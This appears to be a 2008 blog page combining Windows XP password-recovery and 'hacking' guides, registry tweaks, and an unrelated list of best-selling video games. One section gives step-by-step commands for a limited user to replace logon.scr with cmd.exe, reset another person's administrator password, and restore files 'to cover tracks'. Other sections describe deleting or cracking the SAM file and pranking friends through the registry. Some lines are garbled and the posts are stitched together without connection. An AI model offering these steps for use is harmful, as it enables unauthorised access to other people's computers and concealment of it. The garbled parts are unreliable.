Tuesday, December 2, 2008

How to Log on to Windows XP if You Forget Your Password

Here is a simple way to access Windows XP with Administrator rights and privileges if you have password protected your User account on your Windows XP system and can't remember the password(s) to login. Whenever Windows XP is installed on a system, it creates a default account called "Administrator" and by default this account is not password protected. Therefore, if you bought a brand name computer (such as Dell, HP, Compaq or Sony)or you have installed Windows XP yourself. You should be able to login to the computer through the unprotected Administrator account.


Steps

  1. Reboot your machine.
  2. Press F8 before the Windows boot screen appears.
    • Do not press F5 as used on the NT/9x series of Windows.
  3. You will be be prompted with a boot options menu.
  4. Select the Start Windows in Safe Mode option.
  5. Click through several self-explanatory screens until your reach the familiar 'Welcome' screen.
  6. Note that this welcome screen is limited to 256 colors and 640x480 resolution because the primary graphics will have been set to the Windows Safe Mode software VGA adapter. You will not be able to change this mode even in Display options, while Windows is running in Safe Mode.
  7. Find the icon for the Administrator user. If the default settings of your system haven't been changed, there should be no password for this account.
    • The Safe Mode Welcome screen might display some of the other users on your system.
  8. Login as the admin.
  9. Press Yes at the prompt asking if you would like to continue using Safe Mode.
  10. Continue on to the User Settings control panel. Here you can change any of the other passwords for user on the machine. Make any changes you want.
  11. Reboot your computer. As long as you don't press any keys (i.e. F8) during the boot-up the computer will startup normally.
  12. Login as the user for which you set the password.


Video


How to recover a lost password in Windows XP


Tips

  • You can access the Administrator account through the login prompt without logging into safe mode. If the computer utilizes the welcome screen instead of the standard NT domain login prompt, you can press Ctrl + Alt + Del twice to get to the login prompt. This is only true if you are running Windows XP Professional Edition. Windows XP Home Edition will also allow you to use this method to log on.
  • Some users are smart enough to password protect their Administrator account when they install windows. If that's the case, you'll have to know that password in order for this method to work.
  • There is a way to crack the windows "SAM" and system files to retrieve the original passwords Monitor, you need a program such as LC5 installed on a computer, and the SAM file in C:\WINDOWS\system32\config if LC5 is not installed on the computer that you forgot disk because as soon as you can get into the hard drive, windows is using the file so you cant copy it.
  • Use SysInternals ERD Commandor to change the admin. password. Boot from the CD and select the locksmith option to change whatever password you like. Alas, this product seems to have been discontinued, however there are many other options out there for resetting the password so long as you are willing to spend a little money.
  • Much simpler is simply to rename or delete the SAM file (renaming is safer). For this you need to boot the box using some other operating system on a CD and then mount the drive (otherwise Windows locks the SAM file and won't let you touch it). NTFSDOS is also a good utility for this purpose. Find the SAM file and change the first character. After you reboot, all the accounts are still there, but they all have null passwords. Note: if you rename the SAM file on XP SP2, when you reboot, XP fails to initialize and forces you to reboot in safe mode. However when you boot into safe mode you get the same message, so don't try this method on XP SP2.


Warnings

  • This method does not work with machines running XP SP2, you will need to use "safe mode with networking" instead.
  • Use these instructions for ethical purposes only, please. Accessing Windows Administrator and changing passwords could be construed as illegal entry and electronic trespass in a court of law.
  • This whole process is pointless if you know the administrator's password as you can easily remove passwords without going into safe mode. Assuming that your PC only has one user profile with administrative powers.

How to Hack Windows

If you ever needed information on hacking Windows, then here you go. However, keep in mind that this is for learning purposes only.



Steps

  1. When the computer starts up, hold down F8 before you see the "Windows Starting" screen. This will bring you to a screen with choices. Your best bet will be "Safe Mode with Command Prompt". You can then do as you want.
  2. Dialog will appear: you're going to want to go down to the bottom and select "All Files". Then you are going to name the file: Batch.bat. After that, go to where you saved it, and open it. That will open up Command Prompt.
  3. However, if the computer has notepad blocked, you can easily go to any web page and then go to "View>View Source". That will easily open up Notepad.
  4. After that, you will be able to do as you wish inside command prompt. Here is how to add or delete accounts:
    • Add Account: C:>net user USERNAME /add
    • Change Accounts password: C:>net user USERNAME * then you'll be able to enter a new password for the account. If you just press enter without typing anything, the account password will be reset.
    • Delete Account: C:>net localgroup Administrators# # Another way is to open up notepad, (if its not blocked), and type in "command.com". Then goto File->Save As. A USERNAME /ADD


Tips

  • Don't be dumb and mess up someone else's computer. Only do anything like this if you need access to the root of Windows. It was written for learning only. Also, don't try anything unless you know something about DOS.
  • Its much more fun to use the Emergency Boot CD... check it out.


Warnings

  • Doing this stuff on a computer other than yours is illegal, so don't do it on someone else's, unless you have been given the permission to do so.
  • Don't even think about trying this at school. Really, that's just stupid. Not to mention it's not cool to get expelled because you pulled a dumb hacker stunt.


WINDOWS TIPS COLLECTION


How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.




Another way ...

Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.

Sunday, November 30, 2008

List of best-selling games

Consoles

Atari

Atari 2600

Atari 2600 games that have sold or shipped at least one million copies.

Mattel

Intellivision

Intellivision games that have sold or shipped at least one million copies.

Microsoft

Xbox

Xbox games that have sold or shipped at least one million copies.

Xbox 360

Xbox 360 games that have sold or shipped at least one million copies.

Total Xbox Live Arcade games downloaded (including free demos) as of March 6, 2007: 25 million.[48]

Nintendo

Total games Nintendo has sold as of July 15, 2008: 2.7 billion.[49]

Nintendo Entertainment System

Nintendo Entertainment System games that have sold or shipped at least one million copies.

Total Nintendo Entertainment System games sold as of June 30, 2008: 500.01 million.[60]

Famicom Disk System

Famicom Disk System games that have sold or shipped at least one million copies.

[edit] Super Nintendo Entertainment System

Super Nintendo Entertainment System games that have sold or shipped at least one million copies.

Total Super Nintendo Entertainment System games sold as of June 30, 2008: 379.06 million.[60]

Nintendo 64

Nintendo 64 games that have sold or shipped at least one million copies.

Total Nintendo 64 games sold as of June 30, 2008: 224.97 million.[60]

Nintendo GameCube

Nintendo GameCube games that have sold or shipped at least one million copies.

Total Nintendo GameCube games sold as of June 30, 2008: 208.56 million.[60][86]

Wii

Wii games that have sold or shipped at least one million copies.

Total Wii games sold as of September 30, 2008: 229.85 million.[95][96]

Total Virtual Console games sold as of December 31, 2007: over 10 million[97]

Game Boy and Game Boy Color

Game Boy and Game Boy Color games that have sold or shipped at least one million copies.

Total Game Boy and Game Boy Color games sold as of June 30, 2008: 501.11 million.[60]

Game Boy Advance

Game Boy Advance games that have sold or shipped at least one million copies.

Total Game Boy Advance games sold as of September 30, 2008: 377.13 million.[95][96]

Nintendo DS

Nintendo DS games that have sold or shipped at least one million copies.

Total Nintendo DS games sold as of September 30, 2008: 454.63 million.[95][96]

[edit] Sega

Sega Mega Drive/Genesis

Sega Mega Drive/Genesis games that have sold or shipped at least one million copies.

Sega Saturn

Sega Saturn games that have sold or shipped at least one million copies.

Dreamcast

Dreamcast games that have sold or shipped at least one million copies.

Sony

PlayStation

PlayStation games that have sold or shipped at least one million copies.

Total PlayStation games shipped as of March 31, 2007: 962 million.[146]

[edit] PocketStation

PocketStation games that have sold or shipped at least one million copies.

PlayStation 2

PlayStation 2 original model

PlayStation 2 games that have sold or shipped at least one million copies.

Total PlayStation 2 games shipped as of March 31, 2007: 1.24 billion.[182]

PlayStation 3

PlayStation 3 games that have sold or shipped at least one million copies.

Total PlayStation 3 games sold as of June 30, 2008: 94 million.[195]

PlayStation Portable

PlayStation Portable games that have sold or shipped at least one million copies.

Total PlayStation Portable games shipped as of March 31, 2007: 101.4 million.[201]

Top 20 console games of all time

The 20 best-selling console games, not originally bundled.

1. Pokémon Red, Blue, and Green (Game Boy – 20.08 million approximately: 10.23 million in Japan,[54] 9.85 million in US)[19]
2. Nintendogs (DS – 20.03 million)[87]
3. Super Mario Bros. 3 (NES – 18 million)[51]
4. Wii Play (Wii – 16.15 million)[87]
5. New Super Mario Bros. (DS – 15.89 million)[87]
6. Gran Turismo 3: A-Spec (PS2 – 14.89 million shipped)[130]
7. Pokémon Diamond and Pearl (DS – 14.77 million)[88]
8. Pokémon Gold and Silver (Game Boy Color – 14.51 million approximately: 7.6 million in US,[19] 6.91 million in Japan)[54]
9. Brain Age: Train Your Brain in Minutes a Day! (DS – 14.48 million)[87]
10. Super Mario Land (Game Boy – 14 million)[51]
11. Pokémon Ruby and Sapphire (GBA – 13 million)[100]
12. Mario Kart DS (DS – 12.12 million)[87]
13. Brain Age 2: More Training in Minutes a Day! (DS – 12.03 million)[87]
14. Grand Theft Auto: San Andreas (PS2 – 12 million)[147]
15. Pokémon FireRed and LeafGreen (GBA – 11.82 million)[88]
16. Super Mario 64 (N64 – 11 million)[51]
17. Gran Turismo (PS1 – 10.85 million shipped)[130][131]
18. Super Mario Bros. 2 (NES – 10 million)[51]
19. Final Fantasy VII (PS1 – 9.8 million, includes Final Fantasy VII International)[132]
20. Animal Crossing: Wild World (DS – 9.53 million),[88] Mario Kart Wii (Wii – 9.53 million)[87]

Bundled games

Games that were originally bundled at launch and have sold or shipped at least ten million copies.

By genre

PC

This is an incomplete list of PC games (including Microsoft Windows, Macintosh, and Linux) that have sold or shipped at least one million copies. Please note that the sales figures for expansion packs are not used in calculation of the sales figure for the original game (with the exception of StarCraft and Guild Wars).

Top PC sellers by genre

Mobile phone

Franchises

Top ten best-selling video game franchises:

  1. Mario (200 million)[280]
  2. Pokémon (180 million)[281]
  3. The Sims (100 million)[282]
  4. Final Fantasy (85 million)[283]
  5. Need for Speed (80 million,[284] includes Need for Speed Underground)
  6. Grand Theft Auto (70 million)[170]
  7. Madden NFL (70 million)[285]
  8. Tetris (70 million)[286]
  9. FIFA (65 million)[287]
  10. Tom Clancy (55 million)[288]